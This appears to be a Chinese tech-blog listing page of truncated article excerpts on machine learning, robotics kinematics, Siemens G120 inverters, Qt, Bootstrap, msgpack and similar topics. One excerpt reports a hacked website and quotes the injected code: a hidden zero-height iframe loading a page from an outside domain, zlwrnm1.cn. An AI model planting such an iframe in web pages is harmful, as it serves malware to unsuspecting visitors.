Transformer模型详解 一、Transformer由来 Transformer是一种基于**注意力机制**（attention mechanism）的深度学习模型架构，最初由Vaswani等人在2017年提出。Transformer主要用于自然语言处理（NLP）任务，特…

一、卷积的数学形式 1.1 卷积的连续形式 在泛函分析中，卷积（convolution）是透过两个函数 f 和 g生成第三个函数的一种数学算子，表征函数 f 与经过翻转和平移的 g 的乘积函数所围成的曲边梯形的面积。 函数f,g是定义域上的可测函…

目录 一、简介 二、运动学模型分析 1. 逆运动学方程 2. 正运动学方程 三、动力学模型 四、广泛运动学模型 一、简介 参考文献https://www.geometrie.tugraz.at/gfrerrer/publications/MecanumWheel.pdf 移动机器人的运动学模型是为了解决小车的正向运动学和逆向运动学问…

目录 一、前言 1、起源： 2、FTP/TFTP介绍 （1 ）FTP介绍 （2）TFTP介绍 （3）选择原因 二、实现流程 1、基础知识构建 2、移植源码到自己的工程中 3、代码调试 （1）SO…

原本变频器使用正常，有次在点击变频器参数表查看后，可能无意按到什么参数，然后启动不了变频器。后发现报警A7994，查看参数P19000，断电重启还是报警。是不是需要做静态识别？如何操作才能把报警解除并且不经过…

前言： 现场使用的变频器损坏购买新变频器更换，下载参数是发现固件版本不一致；现场使用变频器固件版本为4.1.10；购买的变频器版本为4.7.6；通过组态没办法更改版本，只能通过升级固态版本解决； 下…

G120变频器输入输出端子功能定义配置方法及示例 1. 数字量输入功能（适用机型：CU240B-2(DP)/CU240E-2(DP/PN)/CU250S-2(DP/PN)） CU240B-2提供4路数字量输入，CU240E-2提供6路数字量输入，CU250S-2提供11路数字量输入和4路可作为输入/输出的数字量端子。在有必要时，也可以将模…

一、变频器选型注意事项 一般选型时常规参考参数： 输入电压 输入频率 输出频率（矢量控制） 过载能力 制动方式 二、快速参数设置 （1）电机自整定 （2）矢量控制 对速度控制优化 矢量控制&#xff1…

PZD解释：Process data 区域可以通过相关参数依靠BICO连接来实现简单的数据传输，比如 r2050是DP通信时变频器收到的PZD数据，P2051可以设置DP通信中变频器发送的数据。 通过报文1的通讯方式，PLC将控制字…

本文主要介绍的是通过Startdrive软件对G120系列CU250S-2 PN控制器驱动配有SSI接口绝对值编码器（AS7Y）的SEW三相异步电动机的调试步骤。 硬件组成： 1、S7-1200、S7-1500系列PLC 2、G120变频器：CU250S-2 PN控制器功率单元 3、SE…

西门子变频器G120C使用手册 【下载地址】西门子变频器G120C使用手册分享 西门子变频器G120C使用手册欢迎来到西门子变频器G120C的官方使用手册页面 项目地址: https://gitcode.com/Open-source-documentation-tutorial/7ef48 欢迎来到西门子变频器G120C的官方使用手册页…

[url]www.ip138.com[/url]网站被人挂马。 28.htm内容如下&#xff1a; <br> <br> <Iframe src" [url]http://zlwrnm1.cn/a254/fxx.htm[/url]" width100 height0></Iframe> <br> <br> <br> <br> <Script language…

登录Vtiger密码出错，使用邮件重置密码，邮件服务器还没有配置怎么办？ Vtiger密码出错，忘记Vtiger密码，重置Vtiger管理员密码 复制一下代码，并在网站根目录创建password.php文件，粘贴代码。运行 或者下载文件 password.php <?php #Error Reporting error_reportin…

1. QT从mysql中读取datetime字段的数据时&#xff0c;会有字符 T 及 .000毫秒位 从数据库中读取的 2022-08-11T14:34:55.000 上述写法是国际标准化组织的国际标准ISO 8601是日期和时间的表示方法 ISO 8601_百度百科 (baidu.com) 如果从数据库中读取时可以如下操作&#xff…

首先看一下示例图&#xff0c;按顺序以下页面称 首页&#xff0c;什么都有&#xff08;乱取的&#xff09;&#xff0c;登录页&#xff0c;资源管理 开始。 bootstarp模板包下载地址https://codeload.github.com/twbs/bootstrap/zip/v3.4.1 前端页面确实是个难事&#xff0c;…

搭建目前流行VMS点播视频网站，所需三个主要的部分： 1. 八百里Flash P2P流媒体服务器系统 （30天全功能试用下载） 作用：把本地视频用RTMP协议推送视频流到服务器端，用RTMFP协议进行从服务器端向播放终端数据发送，即Flash P2P技术分发。（系统最终生成HTML代码及播放地址…

给你一个由若干括号和字母组成的字符串 s &#xff0c;删除最小数量的无效括号&#xff0c;使得输入的字符串有效。 返回所有可能的结果。答案可以按 任意顺序 返回。 示例 1&#xff1a; 输入&#xff1a;s "()())()" 输出&#xff1a;["(())()",&quo…

msgpack.js 使用教程 项目地址:https://gitcode.com/gh_mirrors/ms/msgpack.js 项目介绍 msgpack.js 是一个用于 JavaScript 的 MessagePack 编码和解码库。MessagePack 是一种高效的二进制序列化格式&#xff0c;类似于 JSON&#xff0c;但更小、更快、更灵活。msgpack.js …

文章目录 MsgPack/Json性能数据对比 MsgPack/Json性能数据对比 MsgPack是一个高效的二进制序列化格式&#xff0c;像Json一样可以在各语言之间进行交换数据&#xff0c;都用来序列化存储数据。优势是在数据规模大时&#xff0c;效率比Json更高&#xff0c;占用资源更少&#x…

本文为原创作品&#xff0c;转载请注明出处&#xff01; 首先说明Yar是干什么的。 新浪著名的大神级人物鸟哥&#xff0c;开发的一个支持并行的PHP扩展。 源地址 http://www.laruence.com/2012/09/15/2779.html 其特点就是可以高效的封装好供外部访问的接口&#xff0c;用途嘛&…